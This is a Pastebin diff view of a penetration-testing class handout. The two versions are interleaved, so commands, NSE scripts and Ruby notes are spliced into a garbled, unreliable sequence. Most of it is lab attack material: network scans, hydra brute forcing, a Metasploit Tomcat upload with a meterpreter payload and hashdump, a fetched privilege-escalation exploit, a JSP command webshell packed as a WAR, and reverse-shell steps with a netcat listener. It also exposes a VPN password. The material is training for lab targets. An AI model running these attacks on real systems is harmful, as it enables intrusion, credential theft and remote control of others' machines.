View difference between Paste ID: Kx3S0gBE and qnmbj04m

 ########################################
 # Advanced Pentester Night School      #
 # By Joe McCray of Strategic Security  #
 ########################################
 
 
 Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack. If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
-# Class Virtual Machine #
+
 So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
 https://s3.amazonaws.com/infosecaddicts-Files/Strategic-Security-2016-VPN-Info.pdf
 
-Here is the VMWare virtual machine for the class:
+sudo nmap -sP 10.0.0.0/24
      infosecaddicts
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/Ubuntu-17-10-InfoSecAddictsVM.zip
+
 sudo nmap -sL 10.0.0.0/24
-user:      infosecaddicts
+
-pass:      infosecaddicts
+
 
 for i in `seq 1 255`; do ping -c1 10.0.0.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done
-Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack.
+
-If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
+
 
 wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
 
 gcc ipcrawl.c -o ipcrawl
 
-https://s3.amazonaws.com/infosecaddictsfiles/Strategic-Security-2017-VPN-Info.pdf
+
 
-Be sure to use 54.245.178.32/?src=connect for the VPN IP address instead of the one shown in the file
+./ipcrawl 10.0.0.1 10.0.0.254
-vpn username: {first_initial.last_name}  example: j.mccray
+
-vpn password: !@#$vpn4321VPN
+
 
 wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
 
-If you wants some scanning tips you should take a look at the following document:
+
-https://s3.amazonaws.com/infosecaddictsfiles/LabNetworkScanningV4.pdf
+
 sudo cp propecia /bin
      infosecaddicts
 
 propecia 10.0.0 22
 
 propecia 10.0.0 3389
----------------------------Type This-----------------------------------
+
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | grep open
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2 " " $3}'
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | wc -l
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}'
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
 
 cd ~/toolz
 
 
 
------------------------------------------------------------------------
+
 # Screenshotting the Web Servers in the Network #
 #################################################
 cd ~/toolz/
-#######################
+
-# Scanning Techniques #
+
-#######################
+
----------------------------Type This-----------------------------------
+
-sudo nmap -sL 172.31.2.0/24
+wget http://download.gna.org/wkhtmltopdf/0.12/0.12.4/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
 tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
 cd wkhtmltox/bin/
 sudo cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386
 
 
 cd ~/toolz/
 git clone git://github.com/SpiderLabs/Nmap-Tools.git
 cd Nmap-Tools/NSE/
 sudo cp http-screenshot.nse /usr/share/nmap/scripts/
      infosecaddicts
-./ipcrawl 172.31.2.1 172.31.2.254
+
 sudo nmap --script-updatedb
      infosecaddicts
 
 
 cd ~/toolz/labscreenshots/
 sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL /home/infosecaddicts/labnet-ip-list.txt
      infosecaddicts
 
 
 
-propecia 172.31.2 22
+
 vi screenshots.sh
-propecia 172.31.2 80
+
 #!/bin/bash
-propecia 172.31.2 443
+
 ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
-propecia 172.31.2 3389
+
 
-nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | grep open
+
 
-nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2 " " $3}'
+
 
-nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2}' | wc -l
+
 
-nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2}'
+
 
-nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
+
 ##########################
-cat ~/labnet-ip-list.txt
+
------------------------------------------------------------------------
+
 sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 10.0.0.0/24
----------------------------Type This-----------------------------------
+
 
 sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 10.0.0.0/24
-wget https://s3.amazonaws.com/infosecaddictsfiles/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
+
 
 sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 10.0.0.0/24
      infosecaddicts
 
-sudo cp http-screenshot.nse /usr/local/share/nmap/scripts/
+sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 10.0.0.0/24
      infosecaddicts
-sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 172.31.2.0/24 -iL /home/infosecaddicts/labnet-ip-list.txt
+
 sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
------------------------------------------------------------------------
+
 
 
 
----------------------------Type This-----------------------------------
+
-nano screenshots.sh
+
----------------------Paste this into the file--------------------------
+
 #########################
 cd ~
 echo bob >> list.txt
 echo jim >> list.txt
------------------------------------------------------------------------
+
 echo tim >> list.txt
 echo admin >> list.txt
 echo hello >> list.txt
----------------------------Type This-----------------------------------
+
 echo test >> list.txt
 echo aaaaaa >> list.txt
 echo larry >> list.txt
-python -m SimpleHTTPServer
+
------------------------------------------------------------------------
+
 echo john >> list.txt
---- Now browse to the IP of your Linux machine on port 8000 (http://192.168.200.157:8000/labnet-port-80-screenshots.html):
+
-http://Ubuntu-VM-IP:8000/labnet-port-80-screenshots.html
+
 ##############
 # Using Nmap #
 ##############
 ******** NOTE: Some of these scans may take up to an hour to run... ********
 ******** NOTE: Open them in another terminal window and keep going  ********
 
 sudo nmap -Pn -sSV -A -p- -T5 10.0.0.120 (long scan)
----------------------------Type This-----------------------------------
+
-sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 172.31.2.0/24
+sudo nmap -sV -Pn -p25 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.120
 
 sudo nmap -sV -Pn -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 10.0.0.120
-sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 172.31.2.0/24
+
 sudo nmap -sV -Pn -p80,8080,8081,9000 --script=http-* 10.0.0.120 (long scan)
 
-sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 172.31.2.0/24
+sudo nmap -sV -Pn -p1322,59894 --script=sshv1,ssh2-enum-algos 10.0.0.120
 
 
-sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 172.31.2.0/24
+******** NOTE: Some of these scans may take up to an hour to run... ********
 ******** NOTE: Open them in another terminal window and keep going  ********
 
-sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 172.31.2.0/24
+
 
 #########################
-sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 172.31.2.0/24
+# Playing with Nmap NSE #
 #########################
 
-sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 172.31.2.0/24
+nmap -Pn -p80 --script ip-geolocation-* infosecaddicts.com
 
 nmap -p80 --script dns-brute infosecaddicts.com
-sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 172.31.2.0/24
+
 nmap --script http-robtex-reverse-ip secore.info
 
-sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 172.31.2.0/24
+nmap -Pn -p80 --script=http-headers infosecaddicts.com
 
 
-sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 172.31.2.0/24
+ls /usr/share/nmap/scripts | grep http
 nmap -Pn -p80 --script=http-* infosecaddicts.com
 
-sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 172.31.2.0/24
+
 
 
-sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 172.31.2.0/24
+
 # Writing Your Own Nmap NSE Scripts #
 #####################################
 
-sudo nmap -sV -oA nse --script-args=unsafe=1 --script-args=unsafe  --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" 172.31.2.0/24
+
 ----------------------------------------------------------------------
------------------------------------------------------------------------
+sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 -- The Rule Section --
 portrule = function(host, port)
     return port.protocol == "tcp"
             and port.number == 80
             and port.state == "open"
-##################
+
-# Day 1 Homework #
+
-##################
+
-Take screenshots of you performing all of the tasks above.
+
     return "February class bundle!"
-In order to receive your certificate of proficiency you must complete all of the tasks covered in the Advanced Pentester Night School pastebin (http://pastebin.com/qnmbj04m).
+
 ----------------------------------------------------------------------
-Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Pentester-Night-School-Day1-Homework.docx)
+
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
 
 
-IMPORTANT NOTE:
+
-Your homework/challenges must be submitted via email to both (joe-at-strategicsec-.-com and ivana-at-strategicsec-.-com) by midnight EST this coming Sunday.
+
 
-----------------------------------------------------------------------------------------------------------------------
+
 ----------------------------------------------------------------------
---------------------------------------------------------------------------------
+sudo vi /usr/share/nmap/scripts/intro-nse.nse
-- Host Discovery -
+
-	- ping sweep
+
-	- tcp ping
+
-	- zone transfer
+
 -- The Rule Section --
-- Service Discovery -
+
-	- nmap -sS <IP-RANGE>
+
 
-- Service Version Discovery -
+
-	- nmap -sV <IP-RANGE>
+
     return "February class bundle!"
-- Vulnerability Research
+
-	- exploit-db.com
+
 
---------------didn't find anything exploitable---------------------------------
+
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
-- Deep enumeration
+
-	- Linux (SUNRPC/NFS)
+
-	- Win (SMB)
+
 
-- Enumerate the webserver ports
+
-	- Vulnerability Scan (Nikto)
+
-	- Directory Bruteforce (dirb)
+
-	- Analyze source code of each page
+OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year.
 
-- Bruteforce ALL services
+
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
-##################
+
-# Attacking Sedna #
+
 local http = require "http"
 
-Attack steps:
+
--------------
+
 
 -- The Action Section --
 action = function(host, port)
-Step 1: Ping sweep the target network
+
----------------------------Type This-----------------------------------
+
-nmap -sP 172.31.2.0/24
+
------------------------------------------------------------------------
+
 
 end
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
-Step 2: Port scan/Bannergrab the target host
+
----------------------------Type This-----------------------------------
+
-sudo nmap -sV 172.31.2.86
+
------------------------------------------------------------------------
+
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
-PORT     STATE    SERVICE     VERSION
+
-22/tcp   open     ssh         (protocol 2.0)
+
-53/tcp   open     domain      ISC BIND 9.9.5-3-Ubuntu
+
-80/tcp   open     http        Apache httpd 2.4.7 ((Ubuntu))
+
-110/tcp  open     pop3        Dovecot pop3d
+
-111/tcp  open     rpcbind     2-4 (RPC #100000)
+
-139/tcp  open     netbios-ssn Samba smbd 3.X (workgroup: SEDNA)
+
-143/tcp  open     imap        Dovecot imapd
+
-445/tcp  open     netbios-ssn Samba smbd 3.X (workgroup: SEDNA)
+
-514/tcp  filtered shell
+
-993/tcp  open     ssl/imap    Dovecot imapd
+
-995/tcp  open     ssl/pop3    Dovecot pop3d
+
-8080/tcp open     http        Apache Tomcat/Coyote JSP engine 1.1
+
-1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
+
-SF-Port22-TCP:V=6.40%I=7%D=1/26%Time=5A6B4540%P=x86_64-pc-linux-gnu%r(NULL
+
-SF:,29,"SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\r\n");
+
     end
-Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
+
-Nmap done: 1 IP address (1 host up) scanned in 246.11 seconds
+
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
 
 
 
-Step 3: Vulnerability scan the webserver ports
+
----------------------------Type This-----------------------------------
+
 
 
-rm -rf nikto*
+
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
-git clone https://github.com/sullo/nikto.git Nikto2
+
 -- The Head Section --
-cd Nikto2/program
+
 local http = require "http"
-perl nikto.pl -h 172.31.2.86
+
 
-perl nikto.pl -h 172.31.2.86:8080
+
------------------------------------------------------------------------
+
 
 -- The Action Section --
 action = function(host, port)
 
     local uri = "/installing-metasploit-in-ubunt/"
-Step 4: Perform directory bruteforce against the target host
+
----------------------------Type This-----------------------------------
+
-wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl
+
         local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
-perl Webr00t.pl -h 172.31.2.86 -v
+
------------------------------------------------------------------------
+
 
 end
 ----------------------------------------------------------------------
-                  or with dirbuster (dirb)
+
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
----------------------------Type This-----------------------------------
+
 
 
-git clone https://github.com/v0re/dirb.git
+
 
-cd dirb/
+
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
-./configure
+
 -- The Head Section --
-make
+
 local http = require "http"
-dirb
+
 
-./dirb http://172.31.2.86 wordlists/big.txt
+
------------------------------------------------------------------------
+
 
-### dirb output ###
+
-==> DIRECTORY: http://172.31.2.86/blocks/
+
-==> DIRECTORY: http://172.31.2.86/files/
+
-==> DIRECTORY: http://172.31.2.86/modules/
+
-==> DIRECTORY: http://172.31.2.86/system/
+
-==> DIRECTORY: http://172.31.2.86/themes/
+
     if ( response.status == 200 ) then
-+ http://172.31.2.86/robots.txt (CODE:200|SIZE:36)
+
-+ http://172.31.2.86/server-status (CODE:403|SIZE:291)
+
-### dirb output ###
+
             return "Vulnerable"
         else
             return "Not Vulnerable"
         end
     end
-Browsed each of the directories and found that inside of the /themes folder contained the vulnerable application Builder Engine 3.5.0
+
 
-An exploit for this application can be found at:
+
-https://www.exploit-db.com/exploits/40390/
+
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
 
--------------------save this a "BuilderEngine.html"-------------------
+
-<html>
+
-<body>
+
-<form method="post" action="http://172.31.2.86/themes/dashboard/assets/plugins/jquery-file-upload/server/php/"
+
 
-enctype="multipart/form-data">
+
-    <input type="file" name="files[]" />
+
-    <input type="submit" value="send" />
+
-</form>
+
-</body>
+******** Attacking Kevgir ********
-</html>
+I figured I've give you something fun to play with.
------------------------------------------------------------------------
+
 
 
-Download this webshell (http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz) to your local machine.
+###############
 # Using Nikto #
-Change the IP address in the source code of the webshell to another server in the lab network that you have root access to.
+###############
 cd ~/toolz/nikto-2.1.1
-On the other server run:
+
-nc -lvp 1234
+perl nikto.pl -update
 
-Then upload the pentestmonkey reverseshell to .86
+perl nikto.pl -h 10.0.0.120
 
-============================================ Attacking another server because I need a reverse shell =========================================
+perl nikto.pl -h 10.0.0.120:8080
 
 perl nikto.pl -h 10.0.0.120:8081
 
 perl nikto.pl -h 10.0.0.120:9000
 
 
 
 
 ####################
----------------------------Type This-----------------------------------
+# Using Metasploit #
-sudo nano /usr/share/nmap/scripts/intro-nse.nse
+####################
------------------------------------------------------------------------
+
-    - or if you are on a newer version of nmap -
+
----------------------------Type This-----------------------------------
+
-sudo nano /usr/local/share/nmap/scripts/intro-nse.nse
+
----------------------Paste this into the file--------------------------
+use auxiliary/scanner/http/http_version
 
 set RHOSTS 10.0.0.120
 
 set RPORT 8080
 
 run
 
 
 -------------------------------
 
-    return "Network Pentester Night School!"
+use auxiliary/scanner/http/tomcat_enum
 
 set RHOSTS 10.0.0.120
 
 set RPORT 8080
----------------------------Type This-----------------------------------
+
 run
------------------------------------------------------------------------
+
-    - or if you are on a newer version of nmap -
+
----------------------------Type This-----------------------------------
+
-sudo nmap --script=/usr/local/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
+
------------------------------------------------------------------------
+
 ####################
 # Attacking Tomcat #
 ####################
 cd ~/toolz/metasploit
----------------------------Type This-----------------------------------
+
-sudo nano /usr/share/nmap/scripts/intro-nse.nse
+
------------------------------------------------------------------------
+
-    - or if you are on a newer version of nmap -
+use auxiliary/scanner/http/http_version
----------------------------Type This-----------------------------------
+
-sudo nano /usr/local/share/nmap/scripts/intro-nse.nse
+set RHOSTS 10.0.0.120
----------------------Paste this into the file--------------------------
+
 set RPORT 8080
 
 run
 
 
 
 
 
 use auxiliary/scanner/http/tomcat_mgr_login
-    return "Network Pentester Night School!"
+
 set USERNAME tomcat
 
 set USERPASS_FILE /home/infosecaddicts/list.txt
 
---------------------------Type This-----------------------------------
+set STOP_ON_SUCCESS true
-udo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
+
------------------------------------------------------------------------
+set RHOSTS 10.0.0.120
-    - or if you are on a newer version of nmap -
+
----------------------------Type This-----------------------------------
+set RPORT 8080
-sudo nmap --script=/usr/local/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
+
------------------------------------------------------------------------
+run
 
 
 
 
 use exploit/multi/http/tomcat_mgr_upload
 
-- OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year.
+set USERNAME tomcat
 
----------------------------Type This-----------------------------------
+set PASSWORD tomcat
-sudo nano /usr/share/nmap/scripts/intro-nse.nse
+
------------------------------------------------------------------------
+set RHOST 10.0.0.120
-    - or if you are on a newer version of nmap -
+
----------------------------Type This-----------------------------------
+set RPORT 8080
-sudo nano /usr/local/share/nmap/scripts/intro-nse.nse
+
----------------------Paste this into the file--------------------------
+set PATH /manager/html
 
 set PAYLOAD java/meterpreter/bind_tcp
 
 exploit
 
 
 run post/linux/gather/checkvm
 
 run post/linux/gather/enum_configs
 
 run post/linux/gather/enum_protections
 
 run post/linux/gather/enum_system
 
 run post/linux/gather/enum_users_history
 
 run post/linux/gather/hashdump
 
---------------------------Type This-----------------------------------
+shell
-sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
+
------------------------------------------------------------------------
+/bin/bash
-    - or if you are on a newer version of nmap -
+
----------------------------Type This-----------------------------------
+id
-sudo nmap --script=/usr/local/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
+
------------------------------------------------------------------------
+uname -a
 
 dpkg -l
 
----------------------------Type This-----------------------------------
+cd /tmp
-sudo nano /usr/share/nmap/scripts/intro-nse.nse
+
------------------------------------------------------------------------
+pwd
-    - or if you are on a newer version of nmap -
+
----------------------------Type This-----------------------------------
+
-sudo nano /usr/local/share/nmap/scripts/intro-nse.nse
+cat >> exploit.c << out
----------------------Paste this into the file--------------------------
+
 **************paste in the content from here *****************
 https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/39166.c
 
 
 ------ hit enter a few times ------
 
 ------ then type 'out' ----- this closes the file handle...
 
 
 gcc -o boom exploit.c
 
 ./boom
 
 id
 
 
 -------------------------------
 
 
 hydra -l tomcat -P /home/infosecaddicts/list.txt -e ns -s 8080 -vV 10.0.0.140 http-get /manager/html
 
---------------------------Type This-----------------------------------
+
-sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
+
------------------------------------------------------------------------
+
-    - or if you are on a newer version of nmap -
+
----------------------------Type This-----------------------------------
+-------------------------------------------index.jsp-------------------------------------------
-sudo nmap --script=/usr/local/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
+<FORM METHOD=GET ACTION='index.jsp'>
------------------------------------------------------------------------
+<INPUT name='cmd' type=text>
 <INPUT type=submit value='Run'>
 </FORM>
 <%@ page import="java.io.*" %>
 <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
       String s = null;
       try {
------------------------------Type This-----------------------------------
+         Process p = Runtime.getRuntime().exec(cmd,null,null);
-sudo nano /usr/share/nmap/scripts/intro-nse.nse
+         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
------------------------------------------------------------------------
+         while((s = sI.readLine()) != null) { output += s+"</br>"; }
-    - or if you are on a newer version of nmap -
+      }  catch(IOException e) {   e.printStackTrace();   }
----------------------------Type This-----------------------------------
+   }
-sudo nano /usr/local/share/nmap/scripts/intro-nse.nse
+%>
----------------------Paste this into the file--------------------------
+<pre><%=output %></pre>
 -------------------------------------------index.jsp-------------------------------------------
 
 ***** now pack the webshell *****
 
 
 
 mkdir webshell
 cp index.jsp webshell
 
 cd webshell
 jar -cvf ../webshell.war *
 
 
 Deploy the WAR file using the built-in deploy option on the manager web-page.
 Once the WAR file is deployed I simply browse to the URL I deployed the WAR file
 now upload the webshell.war. After uploading, visit page: http://10.0.0.120:8080/webshell/
 
 
 
 ****** This section isn't finished ******
 
 cd ~/toolz/metasploit
 
---------------------------Type This-----------------------------------
+./msfvenom -p linux/x86/shell_bind_tcp LPORT="7777" -f war > /home/infosecaddicts/bind7777.war
-sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
+
------------------------------------------------------------------------
+jar tf ~/bind7777.war
-    - or if you are on a newer version of nmap -
+
----------------------------Type This-----------------------------------
+****** This section isn't finished ******
-sudo nmap --script=/usr/local/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
+
------------------------------------------------------------------------
+Google is your friend hahahahahahahah........
 
 
 #################
 # Attacking FTP #
 #################
 
 sudo nmap -sV -Pn -p25 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.120
----------------------------Type This-----------------------------------
+
-sudo nano /usr/share/nmap/scripts/intro-nse.nse
+cd ~/toolz/hydra
------------------------------------------------------------------------
+
-    - or if you are on a newer version of nmap -
+hydra -l admin -P /home/infosecaddicts/list.txt -u -s 25 10.0.0.120 ftp
----------------------------Type This-----------------------------------
+
-sudo nano /usr/local/share/nmap/scripts/intro-nse.nse
+ftp
----------------------Paste this into the file--------------------------
+open 10.0.0.120
 admin
 admin
 pwd
 ls -lah
 
 ls ../../
 
 
 #################
 # Attacking SSH #
 #################
 cd ~/toolz/hydra
 
 hydra -L /home/infosecaddicts/list.txt -P /home/infosecaddicts/list.txt -u -s 1322 10.0.0.120 ssh
 
 ssh -p 1322 [email protected]
 
 
 
 
 cd ~/toolz/metasploit
 
 ./msfconsole
 
 use auxiliary/scanner/ssh/ssh_users
 
 set USER_FILE /home/infosecaddicts/list.txt
 
---------------------------Type This-----------------------------------
+set STOP_ON_SUCCESS true
-sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
+
------------------------------------------------------------------------
+set RHOSTS 10.0.0.120
-    - or if you are on a newer version of nmap -
+
----------------------------Type This-----------------------------------
+set RPORT 1322
-sudo nmap --script=/usr/local/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
+
------------------------------------------------------------------------
+run
 
 
 
-##################
+
-# Day 2 Homework #
+
-##################
+use auxiliary/scanner/ssh/ssh_login
-Take screenshots of you performing all of the day 2 tasks above
+
 set USER_FILE /home/infosecaddicts/list.txt
-Take screenshots of you performing all of the tasks above.
+
 set PASS_FILE /home/infosecaddicts/list.txt
-In order to receive your certificate of proficiency you must complete all of the tasks covered in the Advanced Pentester Night School pastebin (http://pastebin.com/qnmbj04m).
+
 set STOP_ON_SUCCESS true
-Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Pentester-Night-School-Day2-Homework.docx)
+
 set RHOSTS 10.0.0.120
 
 set RPORT 1322
 
-IMPORTANT NOTE:
+run
-Your homework/challenges must be submitted via email to both (joe-at-strategicsec-.-com and ivana-at-strategicsec-.-com) by midnight EST this coming Sunday.
+
 
 sessions -l
 
-############################################################
+sessions -u 1
-# Section 1: Ruby Fundamentals and Metasploit Architecture #
+
-############################################################
+
 
-################################
+id
-# Chapter 1: Ruby Fundamentals #
+
-################################
+
 
 ########################
 # Attacking phpMyAdmin #
-- Ruby is a general-purpose, object-oriented programming language, which was created by Yukihiro Matsumoto, a computer
+########################
-scientist and programmer from Japan. It is a cross-platform dynamic language.
+****** This section isn't finished ******
 
-- The major implementations of this language are Ruby MRI, JRuby, HotRuby, IronRuby, MacRuby, etc. Ruby
+hydra -l root -P /home/infosecaddicts/list.txt -e n http-post-form://10.0.0.120 -m "/phpMyAdmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:S=information_schema"
-on Rails is a framework that is written in Ruby.
+
 ****** This section isn't finished ******
-- Ruby's file name extensions are .rb and .rbw.
+
 Google is your friend hahahahahahahah........
-- official website of this
+
 
-- language: www.ruby-lang.org.
+
 
 wget https://repo.palkeo.com/repositories/mysterie.fr/prog/darkc0de/others/pmabf.py
-- interactive Shell called Ruby Shell
+
 python pmabf.py http://10.0.0.120 root list.txt		(this gave me the WRONG password)
 
-- Installing and Running IRB
+
 
 
-- open up the interactive console and play around.
+
 
 ####################
-irb
+# Attacking Joomla #
 ####################
 cd ~/toolz/metasploit
 
-- Math, Variables, Classes, Creating Objects and Inheritance
+
 
 use use auxiliary/scanner/http/joomla_plugins
-# following arithmetic operators:
+
-- Addition operator (+) — 10 + 23
+set RHOSTS 10.0.0.120
-- Subtraction operator (-) — 1001 - 34
+
-- Multiplication operator (*) — 5 * 5
+set RPORT 8080
-- Division operator (/) — 12 / 2
+
 run
 
 
-# Now let's cover some variable techniques. In Ruby, you can assign a value to a variable using the assignment
+****** This section isn't finished ******
-operator. '=' is the assignment operator. In the following example, 25 is assigned to x. Then x is incremented by
+Google is your friend hahahahahahahah........
-30. Again, 69 is assigned to y, and then y is incremented by 33.
+
 #####################
-x = 25
+# Attacking Jenkins #
-x + 30
+
-y = 69
+
-y+33
+
 ****** This section isn't finished ******
 Google is your friend hahahahahahahah........
 
 #################
-- Let's look at creating classes and creating objects.
+# Attacking NFS #
 #################
-- Here, the name of the class is infosecaddicts. An object has its properties and methods.
+rpcinfo -s 10.0.0.120
 
 showmount -e 10.0.0.120
 
-class Attack
+mount -t nfs 10.0.0.120:/backup /tmp/nfs -o nolock
-attr_accessor :of, :sqli, :xss
+
 ls /tmp/nfs
 
